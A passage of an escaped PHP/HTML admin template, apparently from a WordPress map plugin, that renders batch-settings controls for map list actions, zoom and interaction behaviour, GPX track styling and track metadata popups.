class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listFsCheck\" class=\"batch-settings-check\" name=\"listFsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listFs\"><?= esc_html__('Show fullscreen link', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listFs\" name=\"listFs\" <?= !$settings['listFs'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"listActionCheck\" class=\"batch-settings-check\" name=\"listActionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"listAction\"><?= esc_html__('List action', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"listAction\" name=\"listAction\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"none\" <?= !($settings['listAction'] == 'none') ?: 'selected=\"selected\"' ?>><?= esc_html__('None', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"setview\" <?= !($settings['listAction'] == 'setview') ?: 'selected=\"selected\"' ?>><?= esc_html__('Jump to marker', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"popup\" <?= !($settings['listAction'] == 'popup') ?: 'selected=\"selected\"' ?>><?= esc_html__('Open popup', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"interactionContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gestureHandlingCheck\" class=\"batch-settings-check\" name=\"gestureHandlingCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gestureHandling\"><?= esc_html__('Gesture handling', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gestureHandling\" name=\"gestureHandling\" <?= !$settings['gestureHandling'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"responsiveCheck\" class=\"batch-settings-check\" name=\"responsiveCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"responsive\"><?= esc_html__('Responsive map', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"responsive\" name=\"responsive\" <?= !$settings['responsive'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"boxZoomCheck\" class=\"batch-settings-check\" name=\"boxZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"boxZoom\"><?= esc_html__('Box zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"boxZoom\" name=\"boxZoom\" <?= !$settings['boxZoom'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"doubleClickZoomCheck\" class=\"batch-settings-check\" name=\"doubleClickZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"doubleClickZoom\"><?= esc_html__('Double click zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"doubleClickZoom\" name=\"doubleClickZoom\" <?= !$settings['doubleClickZoom'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"draggingCheck\" class=\"batch-settings-check\" name=\"draggingCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"dragging\"><?= esc_html__('Dragging', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"dragging\" name=\"dragging\" <?= !$settings['dragging'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"inertiaCheck\" class=\"batch-settings-check\" name=\"inertiaCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"inertia\"><?= esc_html__('Inertia', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"inertia\" name=\"inertia\" <?= !$settings['inertia'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"inertiaDecelerationCheck\" class=\"batch-settings-check\" name=\"inertiaDecelerationCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"inertiaDeceleration\"><?= esc_html__('Inertia deceleration', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"inertiaDeceleration\" name=\"inertiaDeceleration\" value=\"<?= $settings['inertiaDeceleration'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"inertiaMaxSpeedCheck\" class=\"batch-settings-check\" name=\"inertiaMaxSpeedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"inertiaMaxSpeed\"><?= esc_html__('Inertia max speed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"inertiaMaxSpeed\" name=\"inertiaMaxSpeed\" value=\"<?= $settings['inertiaMaxSpeed'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"keyboardCheck\" class=\"batch-settings-check\" name=\"keyboardCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"keyboard\"><?= esc_html__('Keyboard navigation', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"keyboard\" name=\"keyboard\" <?= !$settings['keyboard'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"keyboardPanDeltaCheck\" class=\"batch-settings-check\" name=\"keyboardPanDeltaCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"keyboardPanDelta\"><?= esc_html__('Keyboard pan delta', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"keyboardPanDelta\" name=\"keyboardPanDelta\" value=\"<?= $settings['keyboardPanDelta'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scrollWheelZoomCheck\" class=\"batch-settings-check\" name=\"scrollWheelZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"scrollWheelZoom\"><?= esc_html__('Scroll wheel zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scrollWheelZoom\" name=\"scrollWheelZoom\" <?= !$settings['scrollWheelZoom'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"touchZoomCheck\" class=\"batch-settings-check\" name=\"touchZoomCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"touchZoom\"><?= esc_html__('Two finger zoom', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"touchZoom\" name=\"touchZoom\" <?= !$settings['touchZoom'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"bounceAtZoomLimitsCheck\" class=\"batch-settings-check\" name=\"bounceAtZoomLimitsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"bounceAtZoomLimits\"><?= esc_html__('Bounce at zoom limits', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"bounceAtZoomLimits\" name=\"bounceAtZoomLimits\" <?= !$settings['bounceAtZoomLimits'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"trackContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxIconsCheck\" class=\"batch-settings-check\" name=\"gpxIconsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxIcons\"><?= esc_html__('Show start/end icons', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxIcons\" name=\"gpxIcons\" <?= !$settings['gpxIcons'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxTrackSmoothFactorCheck\" class=\"batch-settings-check\" name=\"gpxTrackSmoothFactorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxTrackSmoothFactor\"><?= esc_html__('Track smooth factor', 'mmp') ?>*</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxTrackSmoothFactor\" name=\"gpxTrackSmoothFactor\" value=\"<?= $settings['gpxTrackSmoothFactor'] ?>\" min=\"0\" step=\"0.1\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxTrackColorCheck\" class=\"batch-settings-check\" name=\"gpxTrackColorCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxTrackColor\"><?= esc_html__('Track color', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"gpxTrackColor\" name=\"gpxTrackColor\" value=\"<?= $settings['gpxTrackColor'] ?>\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxTrackWeightCheck\" class=\"batch-settings-check\" name=\"gpxTrackWeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxTrackWeight\"><?= esc_html__('Track weight', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxTrackWeight\" name=\"gpxTrackWeight\" value=\"<?= $settings['gpxTrackWeight'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxTrackOpacityCheck\" class=\"batch-settings-check\" name=\"gpxTrackOpacityCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxTrackOpacity\"><?= esc_html__('Track opacity', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxTrackOpacity\" name=\"gpxTrackOpacity\" value=\"<?= $settings['gpxTrackOpacity'] ?>\" min=\"0\" max=\"1\" step=\"0.01\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"metadataContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaCheck\" class=\"batch-settings-check\" name=\"gpxMetaCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMeta\"><?= esc_html__('Add popup to track', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMeta\" name=\"gpxMeta\" <?= !$settings['gpxMeta'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaUnitsCheck\" class=\"batch-settings-check\" name=\"gpxMetaUnitsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaUnits\"><?= esc_html__('Units', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"gpxMetaUnits\" name=\"gpxMetaUnits\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"metric\" <?= !($settings['gpxMetaUnits'] == 'metric') ?: 'selected=\"selected\"' ?>><?= esc_html__('Metric', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"imperial\" <?= !($settings['gpxMetaUnits'] == 'imperial') ?: 'selected=\"selected\"' ?>><?= esc_html__('Imperial', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"metric-imperial\" <?= !($settings['gpxMetaUnits'] == 'metric-imperial') ?: 'selected=\"selected\"' ?>><?= esc_html__('Metric (imperial)', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"imperial-metric\" <?= !($settings['gpxMetaUnits'] == 'imperial-metric') ?: 'selected=\"selected\"' ?>><?= esc_html__('Imperial (metric)', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaIntervalCheck\" class=\"batch-settings-check\" name=\"gpxMetaIntervalCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaInterval\"><?= esc_html__('Max interval', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"gpxMetaInterval\" name=\"gpxMetaInterval\" value=\"<?= $settings['gpxMetaInterval'] ?>\" min=\"0\" />\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaNameCheck\" class=\"batch-settings-check\" name=\"gpxMetaNameCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaName\"><?= esc_html__('Name', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaName\" name=\"gpxMetaName\" <?= !$settings['gpxMetaName'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDescCheck\" class=\"batch-settings-check\" name=\"gpxMetaDescCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaDesc\"><?= esc_html__('Description', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaDesc\" name=\"gpxMetaDesc\" <?= !$settings['gpxMetaDesc'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaStartCheck\" class=\"batch-settings-check\" name=\"gpxMetaStartCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"gpxMetaStart\"><?= esc_html__('Start', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"gpxMetaStart\" name=\"gpxMetaStart\" <?= !$settings['gpxMetaStart'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting 